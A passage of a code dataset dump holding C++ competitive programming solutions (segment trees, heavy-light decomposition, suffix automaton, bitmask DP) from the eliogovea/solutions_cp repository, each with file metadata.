2;\n\n build_st( ls , l , mid , vs );\n build_st( rs , mid+1 , r , vs );\n\n this->mn[nod] = min( this->mn[ls] , this->mn[rs] );\n }\n\n int get_min( int nod, int l, int r, int lq, int rq ){\n if( l > rq || r < lq ){\n return oo;\n }\n\n if( lq <= l && r <= rq ){\n return this->mn[nod];\n }\n\n int ls = nod*2 , rs = ls + 1;\n int mid = ( l + r ) / 2;\n\n return min( get_min( ls , l , mid , lq , rq ) ,\n get_min( rs , mid+1 , r , lq , rq ) );\n }\n};\n\n\nconst int MAXN = 300100;\n\nev events[MAXN];\n\nst ST[4*MAXN];\nint mn_l[4*MAXN];\nint mx_l[4*MAXN];\nvector<par> r_id[4*MAXN];\n\nvoid build_st( int nod, int l, int r ){\n mn_l[nod] = events[l].l;\n mx_l[nod] = events[r].l;\n r_id[nod].resize( r - l + 1 );\n ST[nod] = st( r - l + 1 );\n\n if( l == r ){\n r_id[nod][0] = par( events[l].r , events[l].id );\n ST[nod].build_st( 1 , 0 , r - l , r_id[nod] );\n return;\n }\n\n int ls = nod * 2 , rs = ls + 1;\n int mid = ( l + r ) / 2;\n\n build_st( ls , l , mid );\n build_st( rs , mid+1 , r );\n\n merge( r_id[ls].begin() , r_id[ls].end() , r_id[rs].begin() , r_id[rs].end() , r_id[nod].begin() );\n ST[nod].build_st( 1 , 0 , r - l , r_id[nod] );\n}\n\nint query_st( int nod, int l, int r, int l1, int l2, int r1, int r2 ){\n if( mn_l[nod] > l2 || mx_l[nod] < l1 ){\n return oo;\n }\n\n if( l1 <= mn_l[nod] && mx_l[nod] <= l2 ){\n int a = lower_bound( r_id[nod].begin() , r_id[nod].end(), par( r1 , 0 ) ) - r_id[nod].begin();\n int b = lower_bound( r_id[nod].begin() , r_id[nod].end(), par( r2+1 , 0 ) ) - r_id[nod].begin();\n b--;\n\n if( a > b ){\n return oo;\n }\n\n return ST[nod].get_min( 1 , 0 , r - l , a , b );\n }\n\n int ls = nod * 2 , rs = ls + 1;\n int mid = ( l + r ) / 2;\n\n return min( query_st( ls , l , mid , l1 , l2 , r1 , r2 ) ,\n query_st( rs , mid+1 , r , l1 , l2 , r1 , r2 ) );\n}\n\nvector<par> seats[MAXN];\n\r\ntypedef long long ll;\r\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int n, s, m; cin >> n >> s >> m;\r\n\r\n for( int i = 0; i < m; i++ ){\r\n int si, a, b; cin >> si >> a >> b; b--;\r\n seats[si].push_back( par( a , b ) );\r\n }\r\n\r\n int sz = 0;\r\n for( int i = 1; i <= s; i++ ){\r\n if( seats[i].size() == 0 ){\r\n events[++sz] = ev( 1 , n , i );\r\n continue;\r\n }\r\n\r\n sort( seats[i].begin() , seats[i].end() );\r\n\r\n if( seats[i][0].first != 1 ){\r\n events[++sz] = ev( 1 , seats[i][0].first-1 , i );\r\n }\r\n\r\n for( int j = 0; j < seats[i].size()-1; j++ ){\r\n if( seats[i][j].second + 1 != seats[i][j+1].first ){\r\n events[++sz] = ev( seats[i][j].second+1 , seats[i][j+1].first - 1 , i );\r\n }\r\n }\r\n\r\n if( seats[i].back().second != n ){\r\n events[++sz] = ev( seats[i].back().second+1 , n , i );\r\n }\r\n }\r\n\r\n sort( events + 1 , events + 1 + sz );\r\n build_st( 1 , 1 , sz );\r\n\r\n int q; cin >> q;\r\n\r\n ll p = 0;\r\n while( q-- ){\r\n ll x, y; cin >> x >> y;\r\n ll a = x + p, b = y + p - 1;\r\n\r\n int res = 0;\r\n if( a < 1ll || (ll)n < b ){\r\n res = 0;\r\n }\r\n else{\r\n res = query_st( 1 , 1 , sz , 1 , a , b , n );\r\n if( res == oo ){\r\n res = 0;\r\n }\r\n }\r\n\r\n cout << res << '\\n';\r\n p = res;\r\n }\n}\n" }, { "alpha_fraction": 0.4184149205684662, "alphanum_fraction": 0.4324009418487549, "avg_line_length": 17.926469802856445, "blob_id": "aa955c2808c8fd7e33acfdd3c51b196cd6a59afd", "content_id": "01b894efdf89bcf8d5f8cb40c28514a17a4b6a60", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2574, "license_type": "no_license", "max_line_length": 68, "num_lines": 136, "path": "/SPOJ/QTREE2.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n \nusing namespace std;\n \nconst int N = 10005;\n \nint tc, n;\nvector<int> g[N], c[N];\n \nint size[N], heavy[N], par[N], chain[N], head[N], depth[N], dist[N];\n \nvoid dfs(int u, int p, int d, int di) {\n\tsize[u] = 1;\n\theavy[u] = -1;\n\tpar[u] = p;\n\tdepth[u] = d;\n\tdist[u] = di;\n\tfor (int i = 0; i < (int)g[u].size(); i++) {\n\t\tint v = g[u][i];\n\t\tif (v == p) {\n\t\t\tcontinue;\n\t\t}\n\t\tdfs(v, u, d + 1, di + c[u][i]);\n\t\tsize[u] += size[v];\n\t\tif (heavy[u] == -1 || size[heavy[u]] < size[v]) {\n\t\t\theavy[u] = v;\n\t\t}\n\t}\n}\n \nint cnt;\nvector<int> ch[N];\n \nvoid HLD() {\n\tfor (int i = 0; i < cnt; i++) {\n\t\tch[i].clear();\n\t}\n\tcnt = 0;\n\tdfs(1, 0, 0, 0);\n\tfor (int i = 1; i <= n; i++) {\n\t\tif (i == 1 || heavy[par[i]] != i) {\n\t\t\tfor (int j = i; j != -1; j = heavy[j]) {\n\t\t\t\thead[j] = i;\n\t\t\t\tchain[j] = cnt;\n\t\t\t\tch[cnt].push_back(j);\n\t\t\t}\n\t\t\tcnt++;\n\t\t}\n\t}\n}\n \nint lca(int u, int v) {\n\twhile (chain[u] != chain[v]) {\n\t\tif (depth[head[u]] > depth[head[v]]) {\n\t\t\tu = par[head[u]];\n\t\t} else {\n\t\t\tv = par[head[v]];\n\t\t}\n\t}\n\tif (depth[u] < depth[v]) {\n\t\treturn u;\n\t}\n\treturn v;\n}\n \nint find_kth(int u, int v, int k) {\n\t//cout << \"Query \" << u << \" \" << v << \" \" << k << \"\\n\";\n\tint l = lca(u, v);\n\t//cout << \"lca: \" << l << \"\\n\";\n\tint s = depth[u] - depth[l] + depth[v] - depth[l] + 1;\n\tint x = depth[u] - depth[l] + 1;\n\tif (k <= x) {\n\t\t//cout << \"Caso 1\\n\";\n\t\twhile (depth[u] - depth[head[u]] + 1 < k) {\n\t\t\tk -= depth[u] - depth[head[u]] + 1;\n\t\t\tu = par[head[u]];\n\t\t}\n\t\tint pos = depth[u] - depth[head[u]] - k + 1;\n\t\treturn ch[chain[u]][pos];\n\t} else {\n\t\t//cout << \"Caso 2\\n\";\n\t\tu = v;\n\t\tk = s - k + 1;\n\t\t//cout << u << \" \" << k << \"\\n\";\n\t\twhile (depth[u] - depth[head[u]] + 1 < k) {\n\t\t\tk -= depth[u] - depth[head[u]] + 1;\n\t\t\tu = par[head[u]];\n\t\t}\n\t\tint pos = depth[u] - depth[head[u]] - k + 1;\n\t\t//cout << u << \" \" << pos << \"\\n\";\n\t\treturn ch[chain[u]][pos];\n\t}\n}\n \nint get_dist(int u, int v) {\n\tint l = lca(u, v);\n\treturn dist[u] + dist[v] - 2 * dist[l];\n}\n \nint x, y, z;\nstring s;\n \nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\t//freopen(\"data.txt\", \"r\", stdin);\n\tcin >> tc;\n\twhile (tc--) {\n\t\tcin >> n;\n\t\tfor (int i = 1; i <= n; i++) {\n\t\t\tg[i].clear();\n\t\t\tc[i].clear();\n\t\t}\n\t\tfor (int i = 1; i < n; i++) {\n\t\t\tcin >> x >> y >> z;\n\t\t\tg[x].push_back(y);\n\t\t\tc[x].push_back(z);\n\t\t\tg[y].push_back(x);\n\t\t\tc[y].push_back(z);\n\t\t}\n\t\tHLD();\n\t\twhile (cin >> s) {\n\t\t\tif (s[1] == 'O') {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tif (s[1] == 'I') {\n\t\t\t\tcin >> x >> y;\n\t\t\t\tcout << get_dist(x, y) << \"\\n\";\n\t\t\t} else {\n\t\t\t\tcin >> x >> y >> z;\n\t\t\t\tcout << find_kth(x, y, z) << \"\\n\";\n\t\t\t}\n\t\t}\n\t\tcout << \"\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.40697672963142395, "alphanum_fraction": 0.427325576543808, "avg_line_length": 13.291666984558105, "blob_id": "baaf5444279047da16ba194e2b913aea8eb00b32", "content_id": "aa03cb7324221e3e33eb5bf1907f24e1d0d916d4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 344, "license_type": "no_license", "max_line_length": 35, "num_lines": 24, "path": "/Codechef/GCD2.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nint t, a;\nstring b;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcin >> t;\n\twhile (t--) {\n\t\tcin >> a >> b;\n\t\tif (a == 0) {\n\t\t\tcout << b << \"\\n\";\n\t\t\tcontinue;\n\t\t}\n\t\tint r = 0;\n\t\tfor (int i = 0; b[i]; i++) {\n\t\t\tr = ((10 * r) + b[i] - '0') % a;\n\t\t}\n\t\tcout << __gcd(a, r) << \"\\n\";\n\t}\n}\n\n" }, { "alpha_fraction": 0.33209648728370667, "alphanum_fraction": 0.3636363744735718, "avg_line_length": 18.730770111083984, "blob_id": "ecdba09bde0a62fec1ddb45ebed2486db925cb8c", "content_id": "24e3eeea533f7ae2393b153b965180bb40ca7bac", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1078, "license_type": "no_license", "max_line_length": 56, "num_lines": 52, "path": "/COJ/eliogovea-cojAC/eliogovea-p3357-Accepted-s827146.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 20;\r\n\r\nint n, s;\r\ndouble x[N], y[N];\r\ndouble dist[N][N];\r\ndouble dp[N + 2][(1 << N) + 2];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> x[i] >> y[i];\r\n\t\tfor (int j = 0; j < n; j++) {\r\n\t\t\tdouble dx = x[i] - x[j];\r\n\t\t\tdouble dy = y[i] - y[j];\r\n\t\t\tdist[i][j] = dist[j][i] = sqrt(dx * dx + dy * dy);\r\n\t\t}\r\n\t}\r\n\tcin >> s; s--;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tfor (int j = 0; j < (1 << n); j++) {\r\n\t\t\tdp[i][j] = 1e10;\r\n\t\t}\r\n\t}\r\n\tdp[s][1 << s] = 0.0;\r\n\tfor (int i = 0; i < (1 << n); i++) {\r\n\t\tfor (int j = 0; j < n; j++) {\r\n\t\t\tif (i & (1 << j)) {\r\n\t\t\t\tfor (int k = 0; k < n; k++) {\r\n\t\t\t\t\tif (!(i & (1 << k))) {\r\n\t\t\t\t\t\tif (dp[k][i | (1 << k)] > dp[j][i] + dist[j][k]) {\r\n\t\t\t\t\t\t\tdp[k][i | (1 << k)] = dp[j][i] + dist[j][k];\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tdouble ans = 1e10;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tif (ans > dp[i][(1 << n) - 1]) {\r\n\t\t\tans = dp[i][(1 << n) - 1];\r\n\t\t}\r\n\t}\r\n\tcout.precision(2);\r\n\tcout << fixed << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3632352948188782, "alphanum_fraction": 0.3970588147640228, "avg_line_length": 14.431818008422852, "blob_id": "3342acf1bfcaf25cf7968224b10e3826953cc9eb", "content_id": "32ca0b6e2f18f42243ce70143a85f14580518e8a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 680, "license_type": "no_license", "max_line_length": 45, "num_lines": 44, "path": "/TOJ/3014.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\n\nusing namespace std;\n\nint n;\nstring s, ss;\nint cnt[1000], tot, ans;\n\nint main() {\n\t//ios::sync_with_stdio(false);\n\t//cin.tie(0);\n\twhile (true) {\n\t\tgetline(cin, s);\n\t\tn = 0;\n\t\tfor (int i = 0; i < s.size(); i++) {\n\t\t\tn = 10 * n + s[i] - '0';\n\t\t}\n\t\tif (n == 0) {\n\t\t\tbreak;\n\t\t}\n\t\tgetline(cin, s);\n\t\tans = tot = 0;\n\t\tfor (int i = 0; i < 256; i++) {\n\t\t\tcnt[i] = 0;\n\t\t}\n\t\tfor (int i = 0, j = 0; i < s.size(); i++) {\n\t\t\tif (cnt[s[i]] == 0) {\n\t\t\t\ttot++;\n\t\t\t}\n\t\t\tcnt[s[i]]++;\n\t\t\twhile (tot > n) {\n\t\t\t\tif (cnt[s[j]] == 1) {\n\t\t\t\t\ttot--;\n\t\t\t\t}\n\t\t\t\tcnt[s[j]]--;\n\t\t\t\tj++;\n\t\t\t}\n\t\t\tif (tot <= n && ans < i - j + 1) {\n\t\t\t\tans = i - j + 1;\n\t\t\t}\n\t\t}\n\t\tcout << ans << \"\\n\";\n\t}\n}\n\n" }, { "alpha_fraction": 0.316352516412735, "alphanum_fraction": 0.3387672007083893, "avg_line_length": 24.179487228393555, "blob_id": "cfbbe6bccf78cadfc1ddfa38acb7fa8ef44636bc", "content_id": "8a23effd3c74c47bfc0f8ebcf773cdd17d1aec9c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1963, "license_type": "no_license", "max_line_length": 90, "num_lines": 78, "path": "/Codeforces-Gym/100109 - 2012-2013 ACM-ICPC, NEERC, Southern Subregional Contest/H.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2012-2013 ACM-ICPC, NEERC, Southern Subregional Contest\n// 100109H\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 2 * 100005;\n\nint n, m, k;\nint w[N], c[N];\nint sw[N], sc[N];\nint p[N];\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n freopen( \"input.txt\", \"r\", stdin );\n freopen( \"output.txt\", \"w\", stdout);\n\n cin >> n >> m >> k;\n for (int i = 1; i <= n; i++) {\n cin >> w[i] >> c[i];\n sw[i] = sw[i - 1] + w[i];\n sc[i] = sc[i - 1] + c[i];\n }\n int ansCnt = 0;\n int ansVal = 0;\n int ansL = -1;\n int ansR = -1;\n for (int i = n; i >= m + 1; i--) {\n if (sw[i - m] * k < sw[i] - sw[i - m]) {\n break;\n }\n int lo = 0;\n int hi = i - m;\n int pos = 1;\n while (lo <= hi) {\n int mid = (lo + hi) >> 1;\n if ((sw[i - m] - sw[mid]) * k >= sw[i] - sw[i - m]) {\n pos = mid;\n lo = mid + 1;\n } else {\n hi = mid - 1;\n }\n }\n p[i] = pos;\n int val = sc[n] - sc[i] + sc[pos];\n //cerr << i << \" \" << pos << \" \" << val << \" \" << pos + n - i << \"\\n\";\n if (val > ansVal) {\n ansVal = val;\n ansCnt = pos + n - i;\n ansL = pos + 1;\n ansR = i;\n }\n }\n cout << ansCnt << \" \" << ansVal << \"\\n\";\n if (ansCnt != 0) {\n string s;\n int x = ansR;\n while (ansL != 1 || ansR != n) {\n //cerr << ansL << \" \" << ansR << \" \" << p[ansR] << \" \" << p[ansR + 1] << \"\\n\";\n if (ansL != 1 && ansL - 2 <= p[ansR]) {\n s += 'T';\n ansL--;\n } else if (ansR != n && ansL - 1 <= p[ansR + 1]) {\n s += 'H';\n ansR++;\n } else {\n assert(false);\n }\n }\n reverse(s.begin(), s.end());\n cout << s << \"\\n\";\n }\n}" }, { "alpha_fraction": 0.2977396845817566, "alphanum_fraction": 0.32735776901245117, "avg_line_length": 17.439393997192383, "blob_id": "69704b63f07f1d489cb3f175842828f63f1b46d0", "content_id": "137ff6701f3bc853bc6493232ef70d23ba2d8230", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1283, "license_type": "no_license", "max_line_length": 53, "num_lines": 66, "path": "/COJ/eliogovea-cojAC/eliogovea-p1389-Accepted-s488942.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstring>\r\n#include<iostream>\r\nusing namespace std;\r\n\r\nstring aux=\"\",mpal;\r\n\r\nchar a[75];\r\nbool dp[75][75];\r\nint MAX=1,l;\r\n\r\nbool c(string s1, string s2)\r\n{\r\n if(s1.size()>s2.size())return 1;\r\n else if(s1.size()==s2.size())\r\n {\r\n int i=0;\r\n while(s1[i]==s2[i])i++;\r\n if(s1[i]>s2[i])return 1;\r\n }\r\n return 0;\r\n}\r\n\r\nint main()\r\n{\r\n cin >> a;\r\n l=strlen(a);\r\n for(int i=0; i<l; i++)\r\n {\r\n dp[i][i]=1;\r\n aux+=a[i];\r\n if(c(aux,mpal))mpal=aux;\r\n aux=\"\";\r\n }\r\n\r\n for(int i=0; i<l-1; i++)\r\n {\r\n dp[i][i+1]=(a[i]==a[i+1]);\r\n if(dp[i][i+1])\r\n {\r\n MAX=2;\r\n aux+=a[i];\r\n aux+=a[i+1];\r\n if(c(aux,mpal))mpal=aux;\r\n aux=\"\";\r\n }\r\n }\r\n\r\n for(int k=3; k<=l; k++)\r\n for(int i=0; i<l-k+1; i++)\r\n {\r\n int j=i+k-1;\r\n if(dp[i+1][j-1] && a[i]==a[j])\r\n {\r\n dp[i][j]=1;\r\n if(k>MAX)\r\n {\r\n MAX=k;\r\n for(int r=i; r<=j; r++)aux+=a[r];\r\n if(c(aux,mpal))mpal=aux;\r\n aux=\"\";\r\n }\r\n }\r\n }\r\n cout << mpal << endl;\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.4054878056049347, "alphanum_fraction": 0.42073169350624084, "avg_line_length": 12.079999923706055, "blob_id": "7f22fa2fb7e567f2a5b362f39eb78fb2c7a31af7", "content_id": "2fbf27a689ee968ce42621bee38e819c94a0ed60", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 328, "license_type": "no_license", "max_line_length": 31, "num_lines": 25, "path": "/TOJ/2384.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nint tc, n;\nint x, s, mx;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcin >> tc;\n\twhile (tc--) {\n\t\tcin >> n;\n\t\ts = 0;\n\t\tmx = -1;\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tcin >> x;\n\t\t\tif (mx == -1 || x > mx) {\n\t\t\t\tmx = x;\n\t\t\t}\n\t\t\ts += x;\n\t\t}\n\t\tcout << s - mx << \"\\n\";\n\t}\n}\n\n" }, { "alpha_fraction": 0.45266273617744446, "alphanum_fraction": 0.4783037602901459, "avg_line_length": 24.350000381469727, "blob_id": "34a86992a96a817ad7190486cb9bc38637a3eba3", "content_id": "238434f36ca81419fca1c668217a16ef25927510", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1014, "license_type": "no_license", "max_line_length": 174, "num_lines": 40, "path": "/Codeforces-Gym/100513 - 2014-2015 ACM-ICPC, NEERC, Southern Subregional Contest/M.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 ACM-ICPC, NEERC, Southern Subregional Contest\n// 100513M\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tvector <vector <int> > c(350), r(350);\n\tstring line;\n\tint n;\n\tcin >> n;\n\tgetline(cin, line);\n\tvector <char> s;\n\tfor (int l = 1; l <= n; l++) {\n\t\tgetline(cin, line);\n\t\tfor (int i = 0; i < line.size(); i++) {\n\t\t\tif (('a' <= line[i] && line[i] <= 'z') || (line[i] == '{')) {\n\t\t\t\tif ('a' <= line[i] && line[i] <= 'z') {\n\t\t\t\t\tif (c[line[i]].size() > 0) {\n\t\t\t\t\t\tcout << l << \":\" << i + 1 << \": warning: shadowed declaration of \" << line[i] << \", the shadowed position is \" << r[line[i]].back() << \":\" << c[line[i]].back() << \"\\n\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\ts.push_back(line[i]);\n\t\t\t\tc[line[i]].push_back(i + 1);\n\t\t\t\tr[line[i]].push_back(l);\n\t\t\t} else if (line[i] == '}') {\n\t\t\t\twhile (s.back() != '{') {\n\t\t\t\t\tc[s.back()].pop_back();\n\t\t\t\t\tr[s.back()].pop_back();\n\t\t\t\t\ts.pop_back();\n\t\t\t\t}\n\t\t\t\ts.pop_back();\n\t\t\t}\n\t\t}\n\t}\n}\n" }, { "alpha_fraction": 0.4472954273223877, "alphanum_fraction": 0.4649792015552521, "avg_line_length": 17.09933853149414, "blob_id": "02a1a993ca1b7af32fe97cbf12460489512925ce", "content_id": "b1c96ef4b66818176c03e7ff7c080b8373abfbf6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2884, "license_type": "no_license", "max_line_length": 55, "num_lines": 151, "path": "/COJ/eliogovea-cojAC/eliogovea-p3819-Accepted-s1107622.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 1000;\r\nconst int L = 100;\r\nconst int SIZE = 2 * N * L + 2;\r\n\r\nint length[SIZE];\r\nmap <char, int> go[SIZE];\r\nint suffixLink[SIZE];\r\n\r\nint size;\r\nint last;\r\n\r\ninline int getNew(int _length) {\r\n\tint now = size++;\r\n\tlength[now] = _length;\r\n\tgo[now] = map <char, int> ();\r\n\tsuffixLink[now] = -1;\r\n\treturn now;\r\n}\r\n\r\ninline int getClone(int node, int _length) {\r\n\tint now = size++;\r\n\tlength[now] = _length;\r\n\tgo[now] = go[node];\r\n\tsuffixLink[now] = suffixLink[node];\r\n\treturn now;\r\n}\r\n\r\nvoid init() {\r\n\tsize = 0;\r\n\tlast = getNew(0);\r\n}\r\n\r\nvoid add(char c) {\r\n\tint p = last;\r\n\tif (go[p].find(c) != go[p].end()) {\r\n\t\tint q = go[p][c];\r\n\t\tif (length[p] + 1 == length[q]) {\r\n\t\t\tlast = q;\r\n\t\t} else {\r\n\t\t\tint clone = getClone(q, length[p] + 1);\r\n\t\t\tsuffixLink[q] = clone;\r\n\t\t\twhile (p != -1 && go[p][c] == q) {\r\n\t\t\t\tgo[p][c] = clone;\r\n\t\t\t\tp = suffixLink[p];\r\n\t\t\t}\r\n\t\t\tlast = clone;\r\n\t\t}\r\n\t} else {\r\n\t\tint cur = getNew(length[p] + 1);\r\n\t\twhile (p != -1 && go[p].find(c) == go[p].end()) {\r\n\t\t\tgo[p][c] = cur;\r\n\t\t\tp = suffixLink[p];\r\n\t\t}\r\n\t\tif (p == -1) {\r\n\t\t\tsuffixLink[cur] = 0;\r\n\t\t} else {\r\n\t\t\tint q = go[p][c];\r\n\t\t\tif (length[p] + 1 == length[q]) {\r\n\t\t\t\tsuffixLink[cur] = q;\r\n\t\t\t} else {\r\n\t\t\t\tint clone = getClone(q, length[p] + 1);\r\n\t\t\t\tsuffixLink[q] = clone;\r\n\t\t\t\tsuffixLink[cur] = clone;\r\n\t\t\t\twhile (p != -1 && go[p][c] == q) {\r\n\t\t\t\t\tgo[p][c] = clone;\r\n\t\t\t\t\tp = suffixLink[p];\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tlast = cur;\r\n\t}\r\n}\r\n\r\nint freq[SIZE];\r\nint order[SIZE];\r\n\r\nint n;\r\nstring s;\r\n\r\nmap <long long, int> pos;\r\n\r\nconst int BITS = 60;\r\n\r\nlong long used[(N + BITS - 1) / BITS][SIZE];\r\n\r\nint ans[N + 10];\r\n\r\nvoid solve() {\r\n\tfor (int i = 0; i < BITS; i++) {\r\n\t\tpos[(1LL << i)] = i;\r\n\t}\r\n\tcin >> n;\r\n\tint lb = (n - 1) / BITS;\r\n\tinit();\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> s;\r\n\t\tans[i] = (int)s.size();\r\n\t\tfor (int j = 0; j < s.size(); j++) {\r\n\t\t\tadd(s[j]);\r\n\t\t\tused[i / BITS][last] |= (1LL << (i % BITS));\r\n\t\t}\r\n\t\tlast = 0;\r\n\t}\r\n\tint maxLength = 0;\r\n\tfor (int i = 0; i < size; i++) {\r\n\t\tmaxLength = max(maxLength, length[i]);\r\n\t}\r\n\tfor (int i = 0; i <= maxLength; i++) {\r\n\t\tfreq[i] = 0;\r\n\t}\r\n\tfor (int i = 0; i < size; i++) {\r\n\t\tfreq[length[i]]++;\r\n\t}\r\n\tfor (int i = 1; i <= maxLength; i++) {\r\n\t\tfreq[i] += freq[i - 1];\r\n\t}\r\n\tfor (int i = 0; i < size; i++) {\r\n\t\torder[--freq[length[i]]] = i;\r\n\t}\r\n\tfor (int i = size - 1; i > 0; i--) {\r\n\t\tint s = order[i];\r\n\t\tint cnt = 0;\r\n\t\tint id = -1;\r\n\t\tfor (int b = 0; b <= lb; b++) {\r\n\t\t\tused[b][suffixLink[s]] |= used[b][s];\r\n\t\t\tif (used[b][s]) {\r\n\t\t\t\tcnt++;\r\n\t\t\t\tid = b;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (cnt == 1 && pos.find(used[id][s]) != pos.end()) {\r\n\t\t\tid = BITS * id + pos[used[id][s]];\r\n\t\t\tans[id] = min(ans[id], length[suffixLink[s]] + 1);\r\n\t\t}\r\n\t}\r\n\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcout << ans[i] << \"\\n\";\r\n\t}\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tsolve();\r\n}\r\n" }, { "alpha_fraction": 0.3823038339614868, "alphanum_fraction": 0.44240400195121765, "avg_line_length": 18.96666717529297, "blob_id": "772065ee1c08c3e858347730ffa3809e9a183f11", "content_id": "4717edc52f31497da756fdfc95b952a7250fe0d9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 599, "license_type": "no_license", "max_line_length": 77, "num_lines": 30, "path": "/COJ/eliogovea-cojAC/eliogovea-p1109-Accepted-s1274180.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst double PI = 3.141592653589793;\n\nvoid solve(double l, double & a, double & b, double & c) {\n double x = l * l;\n double y = PI * l * l / 4.0;\n double z = PI * l * l / 4.0 - PI * l * l / 3.0 + sqrt(3.0) * l * l / 4.0;\n\n c = x - y - z;\n b = z - c;\n a = x - 4.0 * b - 4.0 * c;\n\n}\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n cout.precision(3);\n\n\n double l;\n double a, b, c;\n while (cin >> l) {\n solve(l, a, b, c);\n cout << fixed << a << \" \" << 4.0 * b << \" \" << 4.0 * c << \"\\n\";\n }\n}\n" }, { "alpha_fraction": 0.3172774910926819, "alphanum_fraction": 0.36858639121055603, "avg_line_length": 18.489795684814453, "blob_id": "d9dd915f2c1ed2aec78e5f18c3fbc85715d360c2", "content_id": "3d908581fe23379a9f0a6ea9f30885c3cfb20fc9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 955, "license_type": "no_license", "max_line_length": 85, "num_lines": 49, "path": "/Codeforces-Gym/101669 - 2017-2018 ACM-ICPC Southeastern European Regional Programming Contest (SEERC 2017)/A.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2017-2018 ACM-ICPC Southeastern European Regional Programming Contest (SEERC 2017)\n// 101669A\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n int n, k;\n cin >> k >> n;\n\n const int A = 26;\n vector <int> h(A);\n for (auto & x : h) {\n cin >> x;\n }\n\n string a, b;\n cin >> a >> b;\n\n const int M = 1000 * 1000 * 1000 + 7;\n\n vector <vector <int> > f(n + 1, vector <int> (k + 1));\n\n f[0][0] = 1;\n for (int j = 0; j <= k; j++) {\n for (int i = 0; i < n; i++) {\n f[i + 1][j] += f[i][j];\n if (f[i + 1][j] >= M) {\n f[i + 1][j] -= M;\n }\n if (j < k && a[j] == b[i]) {\n\t\t int ii = i + 1 + h[a[j] - 'A'];\n\t\t if (ii > n) {\n\t\t \tii = n;\n\t\t }\n\t\t f[ii][j + 1] += f[i][j];\n\t\t if (f[ii][j + 1] >= M) {\n\t\t \tf[ii][j + 1] -= M;\n\t\t }\n }\n }\n }\n\n cout << f[n][k] << \"\\n\";\n}\n" }, { "alpha_fraction": 0.36926743388175964, "alphanum_fraction": 0.39785587787628174, "avg_line_length": 18.475608825683594, "blob_id": "85a4f75465814e73eb920f5493434215c611ad56", "content_id": "b2e99d1d821c630449b9c54f26118ee191ade024", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1679, "license_type": "no_license", "max_line_length": 49, "num_lines": 82, "path": "/COJ/eliogovea-cojAC/eliogovea-p3009-Accepted-s834024.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing 